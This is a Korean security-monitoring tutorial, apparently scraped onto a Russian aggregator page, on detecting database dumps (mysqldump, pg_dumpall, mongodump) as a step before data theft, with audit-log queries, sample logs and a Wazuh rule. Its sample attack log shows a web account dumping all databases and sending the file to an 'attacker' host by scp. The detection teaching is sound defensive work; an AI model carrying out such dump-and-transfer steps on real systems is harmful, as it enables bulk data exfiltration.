Загружаем каталог…
Загружаем каталог…
시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 20/50편 (전체 220/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지 213. DB 설정·자격증명 파일 접근 탐지 1. 개념 덤프 도구(mysqldump·pg_dump)는 DB 전체를 SQL/파일로 추출합니다. 정상적으로 백업에 쓰이지만, 공격자가 탈취한 자격증명으로 전체 DB를 덤프 하면 대량 유출의 직전 단계가 됩니다. DB 덤프 도구와 위험 mysqldump --all-databases → 전체 MySQL DB 추출 pg_dump / pg_dumpall → PostgreSQL 추출 mongodump → MongoDB 추출 SELECT ... INTO OUTFILE → 쿼리로 파일 추출 정상: 백업 시간·백업 계정의 정기 덤프 공격: 비정기·비백업 계정·전체 덤프 → 유출 준비 덤프는 백업 프로세스가 정기적으로 하는 것이 정상입니다. 비백업 주체·비정기 시간의 전체 덤프는 유출 준비 신호입니다. 2. 왜 중요한가 DB 덤프는 전체 데이터를 한 파일로 추출해, 유출 직전의 수집(staging) 단계입니다. 탈취한 DB 자격증명(E13)으로 덤프하면 정상 도구를 악용한 유출이 됩니다. 정상 백업과 구분하려면 주체·시점·범위(전체 vs 특정)·이후 전송을 봐야 합니다. 3. 핵심 명령어 / 설정 덤프 방법 추출 범위 위험 mysqldump --all-databases 전체 MySQL 매우 높음 pg_dumpall 전체 PostgreSQL 매우 높음 mongodump MongoDB 높음 INTO OUTFILE 쿼리 추출 높음 정기 백업 덤프 정상 정상 4. 실습 (실습 예시) # DB 덤프 생성 탐지 (분석 방법) # 덤프 도구 실행(백업 계정·시간 외) sudo ausearch -k data_access,exfil -i --start recent 2>/dev/null | grep -E 'comm="(mysqldump|pg_dump|pg_dumpall|mongodump)"' | tail # 덤프 명령줄(전체 범위 여부) sudo ausearch -k data_access -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(mysqldump|pg_dump).*' | tail 5. 정상 상태 $ (DB 덤프) 03:00 comm="mysqldump" auid=backup proctitle="mysqldump --single-transaction appdb" → 백업 계정이 정기 시간에 특정 DB 덤프(정상) 백업 계정이 정기 시간(03시)에 지정 DB를 덤프하는, 정상 백업 동작 상태입니다. 6. 이상 상태 $ (DB 덤프) 04:00 comm="mysqldump" auid=www-data proctitle="mysqldump --all-databases" 04:02 comm="scp" /tmp/all.sql → 외부 웹 계정(www-data)이 전체 DB(--all-databases)를 덤프 → 전체 데이터 추출 직후 scp로 외부 전송 → 대량 유출 비백업 주체·전체 범위·이후 전송 → 유출 준비·실행 → 정탐 7. 로그 분석 (분석 방법) DB 덤프 유출 흐름입니다(가상의 예시 로그). type=SYSCALL comm="mysqldump" auid=www-data key="data_access" type=PROCTITLE proctitle=mysqldump --all-databases -u root → 웹 계정이 전체 DB 덤프(수집) [이후] scp /tmp/all.sql attacker@외부 (유출, E32) 관찰 해석 mysqldump --all 전체 추출 auid=www-data 비백업 주체 이후 scp 외부 유출 04:00 비정기 덤프(수집) → 전송(유출)을 세션으로 연계하면 대량 유출을 명확히 포착합니다. 8. SOC 관제 포인트 DB 덤프 도구는 전체 데이터를 한 파일로 추출 하는 유출 직전 수집 단계입니다. 정상 백업(백업 계정·정기·지정 DB)과 비백업·비정기·전체 덤프를 구분합니다. 덤프(수집) → 외부 전송(유출) 연계가 핵심 탐지 포인트입니다. 9. 탐지 규칙 <!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 --> <group name="local,syssec_e,data_access,"> <rule id="104190" level="12"> <if_sid>104000</if_sid> <field name="audit.comm" type="pcre2">^(mysqldump|pg_dump|pg_dumpall|mongodump|mariadb-dump)$</field> <field name="audit.auid" type="pcre2">^(?!backup|root-backup)[a-z0-9]+$</field> <description>비백업 주체의 DB 덤프 생성(유출 준비)</description> <mitre><id>T1005</id><id>T1030</id></mitre> </rule> </group> 정상 백업 계정·시간은 예외 처리합니다. --all-databases 등 전체 범위는 레벨을 높이고, 이후 전송을 상관합니다. 10. 대응 방법 초기 확인 — 덤프 도구·실행 주체·범위(전체/지정)·시점을 확인합니다. 범위 확인 — 백업 계정·시간 여부와 이후 외부 전송을 확인합니다. 증거 확보 — 덤프 실행 이벤트와 생성된 덤프 파일·연계 로그를 보존합니다. 차단/조치 — 유출 정탐이면 전송 차단·세션 종료·덤프 범위(유출 데이터) 조사를 진행합니다. 재발 방지 — DB 덤프 생성 탐지를 운영합니다. 11. 핵심 정리 덤프 방법 범위 mysqldump --all 전체 MySQL pg_dumpall 전체 PostgreSQL mongodump MongoDB INTO OUTFILE 쿼리 추출 면접 포인트 "DB 덤프는 유출 직전 수집 — 비백업·전체 범위·이후 전송이 정탐 신호" 12. 다음 편 예고 다음 편 221. 중요 정보 접근 — 대량 파일 읽기(bulk read) 탐지 에서는 대량 파일 읽기를 다루는 대량 파일 읽기(bulk read) 탐지 를 다룹니다. 이전 편: 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지 📚 시리즈 전체 보기: 시스템 보안 · 취약점
То, что RADAR обнаружил и классифицировал для этой возможности. Это опубликованный источником текст, а не подтверждение, что предложение ещё действует.
220. 중요 정보 접근 — 데이터베이스 덤프 생성 탐지. 시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 20/50편 (전체 220/450) 학습 단계: DB·대량 데이터 접근 이상 실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」 이며, IP·계정·호스트명은 가상의 값입니다. 선행 학습 219. 중요 정보 접근 — 데이터베이스 파일 직접 접근 탐지 213. DB 설정·자격증명 파일 접근 탐지 1. 개념 덤프 도구(mysqldump·pg_dump)는 DB 전체를 SQL/파일로 추출합니다. 정상적으로 백업에 쓰이지만, 공격자가 탈취한 자격증명으로 전체 DB를 덤프 하면 대량 유출의 직전 단계가…
Открыть источник